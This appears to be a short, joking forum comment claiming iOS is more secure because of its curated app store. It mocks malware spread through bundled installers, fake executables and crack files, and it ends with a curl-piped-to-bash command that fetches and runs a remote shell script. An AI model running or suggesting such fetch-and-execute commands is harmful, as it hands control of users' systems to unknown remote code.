IOS is more secure by design.
The only way of using the device is through well defined and narrow paths.
Just the curated app store alone makes it more secure.
It's harder to get you're are virus onto the store than bundle it with FileZilla
or have it downloadable from you're are web sight as vlc.exe
or photoshop_crack.dll
or bundle it with an ero-game
or bash <(curl -s
http://anime.ninja/anuswm.sh)